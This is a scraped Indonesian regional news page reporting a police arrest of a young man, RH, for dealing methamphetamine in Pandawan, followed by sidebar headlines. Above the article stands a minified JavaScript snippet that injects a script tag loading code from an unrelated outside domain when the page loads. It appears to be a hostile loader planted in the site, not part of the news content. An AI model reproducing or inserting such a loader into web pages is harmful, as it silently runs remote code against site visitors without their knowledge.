(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Miliki Sabu RH Ditangkap Polsek Pandawan


BARABAI,  Polsek Pandawan berhasil menangkap satu orang pelaku pengedar narkoba berinisial RH (26), warga Jalan Tri Kusuma RT 001/003 Kelurahan Barabai, Kecamatan Barabai, HST, Kamis (26/7) pukul 15.00 Wita.

Pelaku ditangkap petugas ketika hendak mengedarkan narkoba di pinggir jalan simpang 3 desa Palajau RT 01/02 Kecamatan Pandawan.

Penangkapan pelaku berawal dari anggota Polsek Pandawan yang mendapatkan laporan dari masyarakat bahwa ada seseorang yang sedang mengedarkan narkoba di desa Palajau. Menanggapi laporan tersebut, petugas dari Polsek Pandawan melakukan penyelidikan dan penangkapan terhadap pelaku.

“Penangkapan terhadap pelaku merupakan tindak lanjut dari laporan masyarakat yang mengeluhkan bahwa ada peredaran narkoba di sekitar lingkungannya,” jelas Kapolres HST AKBP Sabana Atmojo SIK MH.

Pelaku RH berhasil ditangkap petugas beserta barang bukti berupa 1 buah timbangan digital merk Constant dan 1 buah dompet yang berisikan 3 buah paket sabu dan 1 lembar pajak sepeda motor yang didalamnya juga berisikan 1 paket sabu dan uang tunai sebesar Rp 960.000 di saku kanan celana pelaku. Selanjutnya pelaku beserta barang bukti dibawa ke Polsek Pandawan untuk proses sesuai dengan hukum lebih lanjut.

“Dari tangan pelaku, petugas berhasil menemukan barang bukti empat paket sabu-sabu dengan berat 1,31 gram,” kata Kapolres HST.

Pelaku dapat dijerat dengan pasal 114 ayat 1 sub pasal 112 ayat 1 UU No. 35 tahun 2009 tentang narkotika dengan ancaman kurungan penjara paling lama 20 tahun. Kapolres HST meminta masyarakat agar ikut memerangi narkoba dan mencegah peredaran narkoba di Kabupaten HST. (rico)

Reporter : Rico
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

8 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

10 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

11 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

12 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.